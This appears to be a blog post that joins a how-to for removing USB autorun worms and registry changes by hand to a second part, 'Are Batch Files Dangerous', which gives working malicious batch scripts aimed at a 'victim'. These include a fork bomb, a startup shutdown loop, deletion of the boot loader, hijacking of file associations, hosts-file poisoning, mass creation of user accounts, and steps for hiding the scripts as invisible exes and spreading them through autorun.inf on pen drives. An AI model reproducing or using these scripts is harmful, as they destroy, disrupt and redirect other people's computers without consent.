How to Manually Remove Virus From USB Flash Drive without Formatting?

While installing a new software, while downloading a file from the internet , while plugging a USB device , while opening a malicious website and adding numerous other while's ...what we fear the most is --"does it have a virus"?

Most of the active viruses infect your windows system as soon as you double click on the Pen Drive icon in your my computer. As virus always creates a autorun.inf file which is a system ,hidden and a read only file on your pen drive. It point to the main virus file which is also located on the pen drive. When user double clicks on the pen drive files pointed by the autorun.inf got executed which copies the virus files on your system.

How To Know There Is Virus?

1. When you plugin a drive, Some Autoplay feature polls you to select a option. If you see a folder like icon that reads open using the program provided on the device. Does not select that. Also do not select Open folder to view files using Windows Explorer. Since the virus can execute with these options. Cancel it.

Note: Windows 7 has disabled the Autorun Option for Flash Drives, since the autorun source is usually unknown.

2. You will also see a folder like icon instead of Flash Drive Icon in my computer

How To Remove Virus Manually?

1. In Start Menu Click RUN and then type cmd. Type your Flash Drive Letter followed with colon. For eg:

J:

type attrib -r -a -s -h *.* and press enter.

This will unhide all files.

2. Correct Way of Opening Flash Drives

Do not open the Flash Drive by double clicking the icon in my Computer or By Right clicking and then Open,Explorer. Open the USB Drive by using Folders Icon. Click on the Folders icon then select your Flash Drive.

OR

You can select Your Flash Drive by using the Address Bar in Windows Explorer.

OR

Type your Drive letter in the Address Bar.

3. After Opening the drive. Select Details View.

You can now see what the virus does with your Flash Drive. The Virus does disguises itself as folder. You can see that system file icon as illustrated here is similar to folder icon. You actually click on the file.

Actually you click on those virus file thinking of them as folder and the virus executes. In the detailed view you can clearly see that the system file has a Type description of Application and the system folder has a Type description of Folder.

Delete all such files. Carefully do not delete the folders.

4. Delete the Autorun.inf file

5. You can also delete these files using 7-ZIP. Since it shows such virus files as having application file icon.

Download 7-ZIP from HERE

Or you can get PowerExes Pack that includes it.

Download PowerExes Extra Pack from HERE.

Open 7-ZIP and Type your Flash Drive Letter in the Address Bar. Here J:

6. Delete all the folders and files you think that you did not saved them.

The folders could have names like Recycler,System Volume. Delete them also. You can also see the Recycle Bin like icons delete them too. In this illustration these files are virus files:  0o.com, system.exe, 2m66sr.exe, abk.bat, etc.

7. Now Scan your Flash Drive with some Anti-Virus to delete exe infecting viruses. This is because some application files (which can be some programs like Adobe Reader Setup or else) be affected with exe virus.

If you do not have a proper Anti-Virus then Click on Search and select All files and Folders. In the All or part of file name field type *.exe. In the Look In field select Your Flash Drive. In the More Advanced options select Search System Folders and Search Hidden files and Folders. When search is complete delete all files.

How To Remove Exe Viruses Manually ?

As part of their routine, many worms and Trojans make changes to the registry. Some of them change one or more of the shell\open\command keys. If these keys are changed, the worm or Trojan will run each time that you run certain files.

 

For example, if the \exefile\shell\open\command key is changed, the threat will run each time that you run any .exe file. This may also stop you from running the Registry Editor to try to fix this.

 

They may also change a registry value so that you cannot run the Registry Editor at all.

 

The most common type of viruses we encounter daily is sscvihost.exe and autorun.ini. I am going to explain how to remove these viruses if anti-viruses are not doing so.

 

sscvihost.exe may have many names, the popular are W32/Sohana-AO(Sophos) and W32.Imaut.AY (Symantec/Norton). Basically this is a type of worm virus that spreads via USB thumb drives and/or Yahoo! Messenger. A worm virus, technically, doesn’t destroy your files, it just add tons of of useless files in order to fill up your hard drive or slowdown your system resources. We don’t like that do we?

 

Symptoms:

• CLTR+ALT+DEL is not working
• Folder Options is missing from your TOOLS menu
• Registry Editor (RegEdit) is not working
• Your system is slowing down gradually
• There seems to be a lot of hard drive activity even if you are doing nothing
• You have a New Folder.exe in every folder and in each sub folder

Follow these steps:

 

Download the file UnHookExec.inf and save it to your Windows desktop. (Link is given at last of the post)

 

(If you cannot connect to the Internet from the infected computer, download to an uninfected computer then save it to a floppy disk. Then take the floppy disk and insert it in the floppy disk drive of the infected computer.)

 

Note: The tool has a .inf file extension.

 

Right-click the UnHookExec.inf file and click install. (This is a small file. It does not display any notice or boxes when you run it.)

 

Removing the virus:

 

FIRST: You have to stop the virus from running in the first place. If your system is already infected, it is already running in the background. You must restart your computer then run it in safe mode.

• Restart your PC
• Press F8 as soon after the BIOS boots. If you don’t know what that is, just keep pressing F8 until a menu appears.
• Select Safe Mode from the menu
• On your desktop, right click on the file UnHookExec.inf then select install. You won’t see any prompt or confirmation so don’t worry about it.
• By now, CTRL+ALT+DEL is already working so open up your Task Manager. End task the following programs/processes:

                                                SSCVIHOST.exe

                                                blastclnnn.exe

                                                New Folder.exe

 

SECOND: Delete the virus files from your PC. There are two ways to do this, via windows shell or command prompt (DOS) shell. Since Folder Options has been disabled by the virus, you cannot switch to show hidden files and system files. Well you can edit it in your Registry, but let’s just do it the DOS-way. Follow this carefully.

• Select Run from your start menu, then type cmd. Press enter. The paths differ depending on your operating system, but in this procedure let’s assume you are using Windows XP
• At the command prompt go to your system32 folder (this may differ if you are using NT/2000 or XP). For the sake of this procedure lets assume you are using XP. Type cdwindowssystem32
• On this path (c:windowssystem32>) type the following commands in order:

1. attrib -h -r -s SSCVIHOST.exe
2. del SSCVIHOST.exe
3. attrib -h -r -s blastclnnn.exe
4. del blastclnnn.exe
5. attrib -h -r -s autorun.ini
6. del autorun.ini
7. attrib -h -r -s svchosl.exe
8. del svchosl.exe
9. cdwindows (this will move you to the windows prompt c:windows)
10. attrib -h -r -s SSCVIHOST.exe
11. del SSCVIHOST.exe

 

THIRD: Clean up the registry. Your RegEdit is already running because of the file we’ve downloaded from Symantec. On your run box (from the Start menu) type regedit. WARNING: Be careful on what you edit here, because a single mistake may screw up your system. Just follow the paths that are mentioned here so you won’t get lost. Make sure you edit only what mentioned in this procedure.

 

Navigate to the following registry entries:

 

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon

 

“Shell” = “Explorer.exe SSCVIHOST.exe”

 

(edit and remove the word SSCVIHOST.exe leaving only Explorer.exe, if you screw this up windows shell won’t show on your next boot)

 

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun

 

“Yahoo Messengger” = “%System%SSCVIHOST.exe”

 

(delete this entry)

 

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerWorkgroupCrawlerShares

 

“shared” = “[SHARE NAME]New Folder.exe”

 

(delete this entry)

 

Restore the following registry entries to their original values, if required:

 

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem

 

“DisableTaskMgr” = “1?

 

(set to zero (0) to enable)

 

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem

 

“DisableRegistryTools = “1?

 

(set to zero (0) to enable)

 

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer

 

“NofolderOptions” = “1?

 

(set to zero (0) to enable)

 

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule”AtTaskMaxHour”

 

(Remove an entry here that has a name with blastclnnn.exe, or just remove all entries here)

 

FOURTH: Clean again after cleaning. Restart your PC, again in Safe Mode (remember to press F8). This time we will remove all other files that have been created by the virus. Folder options in your Tools menu is already working so open that up. Then select “Show Hidden files and folders” and uncheck “Hide protected operating system files.” Then search your whole hard disk (using windows search from the start menu) and SHIFT+DEL all these files. Also cleanup your recycle bin after this.

• SSCVIHOST.exe
• blastclnnn.exe
• New Folder.exe (these are the garbage files created by the worm it will create thousands upon thousands of these in your hard drive)

 

FIFTH: Check your autoruns. On your run box at the start menu, type msconfig. Look at the startup tab for any suspicious files that are related to the virus and disable (you can also remove it in the registry) it.

 

That’s it. Reboot your system normally and check your Task Manager (CLTR+ALT+DEL) if there are running processes that aren’t supposed to be running.

 

Download UnHookExec.inf From HERE

Part 1 : Are Batch Files Dangerous To Our System?

What is a Batch File?

In DOS, OS/2, and Microsoft Windows, a batch file is a text file containing a series of commands intended to be executed by the command interpreter. Similar to job control language and other systems on mainframe and minicomputer systems, batch files were added to ease the work required for certain regular tasks by allowing the user to set up a batch script to automate many commands. When a batch file is run, the shell program (usually COMMAND.COM or cmd.exe) reads the file and executes its commands, normally line-by-line. Batch files are useful for running a sequence of executables automatically and are often used to automate repetitive or tedious processes.

DOS batch files have the filename extension .bat. Batch files for other environments may have different extensions, e.g. .cmd or .bat in the Microsoft Windows NT-family of operating systems and OS/2, or .btm in 4DOS and 4NT related shells.

What Can Batch File Do?

They can be used to delete the windows files, format data, steal information, irritate victim, consume CPU resources to affect performance, disable firewalls, open ports, modify or destroy registry and for many more purposes.

Some Simple Codes Worth Trying:

Just copy the code to notepad and save it as givenameurself.bat (You can give any name you wish but extension must be "bat" and save it as 'all files' instead of text files).

1. Application Bomber

@echo off // It instructs to hide the commands when batch files is executed

:x //loop variable

start winword

start mspaint //open paint

start notepad

start write

start cmd //open command prompt

start explorer

start control

start calc // open calculator

goto x // infinite loop

This code when executed will start open different applications like paint, notepad, command prompt repeatedly, irritating victim and of course affecting performance.

2. Folder flooder

@echo off

:x

md %random% // makes directory/folder.

goto x

Here %random% is a variable that would generate a positive no. randomly. So this code would make start creating folders whose name can be any random number.

3. User account flooder 

@echo off

:x

net user %random% /add //create user account

goto x

This code would start creating windows user accounts whose names could be any random numbers.

To be continued......

Source: en.wikipedia.org and elakiri.com

Part 2 : Are Batch Files Dangerous To Our System?

Hi all once again welcome back to my blog....we were discussing on the effect of batch file in our system and were looking after some batch codes...let's continue..

4. Fork Bomb

%0|%0 //Its percentage zero pipe percentage zero

This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows .

5. Shutdown Virus

copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”

copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup”

These two commands will copy the batchfile in start up folders (in XP)

shutdown -s -t 00

This will shutdown the computer in 0 seconds

Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Sta rt Menu\Programs\Startup

Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.

6. Deleting boot files

Goto C drive in Win XP , Tools->Folder Option->View.

Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'.

Click apply

Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.

Lets make a batch file to delete this file from victim's computer and the windows will not start then.

attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively

del ntldr //delete ntldr file

After running this batch file , system will not reboot and a normal victim would definitely install the windows again.

7. Extension Changer

@echo off

assoc .txt=anything // this command associates extension .txt with filetype anything.

assoc .exe=anything

assoc .jpeg=anything

assoc .png=anything

assoc .mpeg=anything

Every extension is associated with a file type like extension ‘exe’ is is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.

Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint, games, command prompt and many more), jpeg, png, mpeg files wouldn’t open properly.

8. DNS Poisoning

There is a file called ‘hosts’ located at c:\windows\system32\drivers\etc. We can place a website and an IP in front of it. By doing this, we want our web browser to take us to host located at that IP when that website name would be entered. I mean request to resolve IP of website is not sent to Domain Name Server(DNS) if the name of website in hosts file.

@echo off

echo xxx.xxx.xxx.xxx www.anything.com > C:\windows\system32\drivers\etc\hosts //this command prints or add xxx.xxx.xxx.xxx. www.anything.com in hosts file.

Replace xxx.xxx.xxx.xxx and www.anything.com with IP address and website of your choice. You can take/redirect victim to any host located at specific IP when he would try to log on to specific website or u can simply block any website by entering its name and any invalid IP address.

Note : Most of the batch viruses are simply undetectable by any anitiviruses

Tip : Coding good viruses just depends on the DOS commands you know and logic you use.

Limitations of Batch Viruses:

1.Victim can easily read the commands by opening batch file in notepad.

2.The command prompt screen pops up,it alerts the victim and he can stop it.

To overcome these limitations,we need to convert these batch files into executable files that is exe files.

You can download the software "Bat To Exe Converter".

After running converter , open the batch file virus , Save as exe file , set visibility mode 'Invisible application' , than just click on compile button.

You can use other options as per your requirement.

Spreading batch viruses through pen drive:

Step 1.

Open notepad and write

[autorun]

open=anything.bat

Icon=anything.ico

Save file as ‘autorun.inf’

Step 2. Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .

When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.

Source: Elakiri.com